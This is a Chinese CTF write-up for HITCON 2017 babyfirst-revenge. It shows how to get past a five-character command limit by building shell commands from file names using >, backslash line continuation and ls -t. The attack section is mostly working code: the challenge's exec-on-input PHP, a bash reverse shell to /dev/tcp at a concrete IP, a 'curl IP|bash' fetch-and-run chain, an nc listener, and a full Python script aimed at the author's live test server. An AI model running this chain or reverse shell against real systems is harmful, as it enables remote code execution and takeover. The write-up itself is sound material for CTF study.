cmd执行命令不等待返回值_从一道ctf题目学到的绕过长度执行命令姿势

0x01:linux中的 > 符号和 >> 符号

1.通过>来创建文件

>test.txtls

aa47a5ecf3779d85a85923be01aaf1e5.png

2.通过>将命令执行的结果存入文件中

echo "hello world">test

d761fb7d1fa8908df1c0363d7d92f691.png

但是通过>来将命令执行结果写入文件会覆盖掉文件原本的内容,如果我们想要在原本文件内容后面追加内容就要使用>>

echo "aaa">testcat testecho "bbb">>testcat test

42977bde2172a487f01f0dcf023a8805.png

0x02:linux中命令换行

在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 "\",可以将一条命令写在多行
比如我们有一个test文件内容如下:

ec\ho \hello \world!

然后我们用sh命令来执行一下:

sh test

0e5fd5fa38f42923999a7577d87d7e3f.png

成功输出了 hello world!

0x03:ls -t命令

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

touch atouch btouch cls -t

5d7ee47fbdbd447ab67cfecb2167274f.png

0x04:利用ls -t 和 > 以及换行符 绕过长度限制执行命令

我们先看执行如下命令的结果:

ls -t>testcat test

06ad2c5eee3849515b2ad27e430d52e2.png

ls -t 命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test的执行顺序是先创建文件test,然后执行ls -t,然后将执行结果写入test文件
我们可以做如下小实验:
比如我们要执行 echo hello world

> "rld"> "wo\\"> "llo \\"> "he\\"> "echo \\"ls -t > _sh _

27acd435f193c3ad8ecde1f3a6969c8a.png

我们可以看到,因为我们最后创建的文件 "_"的文件名会输入到文件中导致一个错误信息,但是并不影响我们下面命令的执行,最终成功的输出了 "hello world"

这里使用了两个 \ 是因为我们需要转义掉多行命令的换行,如果我们只使用一个 \ 那么就会被误解为正在多行执行命令,就会出现下面这种情况

echo \hello world

9bce0642ac98c4b6fef0c5a598a5593e.png

0x05:hitcon 2017 babyfirst-revenge

这道ctf题目考的就是绕过长度限制执行命令

<?php     error_reporting(E_ALL);    $sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);    mkdir($sandbox);    chdir($sandbox);    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {        exec($_GET['cmd']);    } else if (isset($_GET['reset'])) {        exec('/bin/rm -rf ' . $sandbox);    }    highlight_file(__FILE__);

既然可以执行命令,那么我们首先想到的是反弹一个shell回来
bash反弹shell的命令如下:

bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1

空格需要转义

>\ \\

构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:

curl ip地址|bash

我们先在自己的vps新建一个文件,内容为

bash -i >& /dev/tcp/120.79.33.253/7777 0>&1
然后在vps上面监听7777端口
nc -lv 7777

3d8d2abcda668f5735c3f41b55dbe88a.png

因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件
ls命令排序的规则是空格和符号最前,数字其次,字母最后

>ls\\ls>_>\ \\>-t\\>\>yls>>_

2cffa0eae46b97e3edb316be39eca9b9.png

那么我们再构造curl 120.79.33.253|bash

>bash>\|\\>53\\>2\\>3.\\>3\\>9.\\>7\\>0.\\>12\\>\ \\>rl\\>cu\\

然后运行

sh _
生成文件y

再执行

sh y

最后贴一下我的py脚本

#encoding:utf-8import requestsbaseurl = "http://120.79.33.253:9003/?cmd="reset = "http://120.79.33.253:9003/?reset"s = requests.session()s.get(reset)# 将ls -t 写入文件_list=[    ">ls\\",    "ls>_",    ">\ \\",    ">-t\\",    ">\>y",    "ls>>_"]# curl 120.79.33.253|bashlist2=[    ">bash",    ">\|\\",    ">53\\",    ">2\\",    ">3.\\",    ">3\\",    ">9.\\",    ">7\\",    ">0.\\",    ">12\\",    ">\ \\",    ">rl\\",    ">cu\\"]for i in list:    url = baseurl+str(i)    s.get(url)for j in list2:    url = baseurl+str(j)    s.get(url)s.get(baseurl+"sh _")s.get(baseurl+"sh y")#s.get(reset)

成功拿到shelld26de8c3e172ad402ef4dace029693d8.png

自搭测试地址:http://120.79.33.253:9003
想要复现一波的大佬可以复现一下,但请不要破坏环境
如有错误,还望各位大佬指出

文章作者:Drac文章来源:先知社区:https://xz.aliyun.com/t/2748文章参考:https://blog.csdn.net/calmegm/article/details/80874902https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.htmlhttps://blog.csdn.net/calmegm/article/details/80874902

	

版权声明:本文为weixin_29384861原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。